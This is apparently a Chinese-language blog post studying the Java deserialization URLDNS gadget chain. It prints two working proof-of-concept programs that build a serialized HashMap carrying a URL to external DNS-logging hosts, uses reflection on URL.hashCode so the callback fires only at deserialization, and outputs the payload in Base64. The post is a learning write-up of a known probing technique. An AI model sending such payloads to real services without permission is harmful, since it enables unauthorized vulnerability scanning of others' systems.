java 反序列化 URLDNS 链

常用于探测反序列化漏洞是否存在的一条链,之前调过cc6,这条应该比较简单,自己随便调调就行.

URL

直接来看hashCode方法

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

可以看到通过handler.hashCode(this);这句将自身传入实质是一个对地址的访问过程.我们来看一个例子.

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        URL url = new URL("http://f7wi9u.dnslog.cn");
        url.hashCode();
    }

DNSLOG成功接收到访问请求.
而我们在cc6中调过,可以通过hashmap的hash方法来触发hashCode方法,那么我们可以直接写出poc.

package org.example;

import java.io.*;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception {
        HashMap<Object, Object> hashMap = new HashMap<>();
        URL url = new URL("http://1272e09cd4.ipv6.1433.eu.org.");
        hashMap.put(url, null);
        ser(hashMap);
        deser();
    }
    public static void ser(Object obj) throws Exception {
        FileOutputStream fos = new FileOutputStream("data.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        byte[] bytes = baos.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }

    public static void deser() throws Exception{
        FileInputStream fis = new FileInputStream("data.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
}

打通倒是打通了,然而想起来一个问题,就是在HashMap的put方法的时候也会触发这个hashCode,那么就无法区分究竟是在序列化的时候触发的URLDNS还是在序列化时触发的还是反序列化时触发的.
观察到URL.hashCode方法中存在这样的判定条件:

if (hashCode != -1)
            return hashCode;

那么我们只需要在put前将hashCode改成别的数,在序列化之前再改回来就行.
得到最终的payload

package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception {
        HashMap<Object, Object> hashMap = new HashMap<>();
        URL url = new URL("http://a289b6c3.log.dnslog.sbs.");
        Field field = URL.class.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url, 1);

        hashMap.put(url, null);

        field.set(url, -1);

        ser(hashMap);
        deser();
    }
    public static void ser(Object obj) throws Exception {
        FileOutputStream fos = new FileOutputStream("ser.bin");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        byte[] bytes = baos.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }

    public static void deser() throws Exception{
        FileInputStream fis = new FileInputStream("ser.bin");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
}

也是成功打通了,总结得到gadgetchain如下

Gadget chain:
ObjectInputStream.readObject()
    HashMap.readObject()
        URL.hashCode()
posted @ 2025-01-15 19:34  colorfullbz  阅读(30)  评论(0)    收藏  举报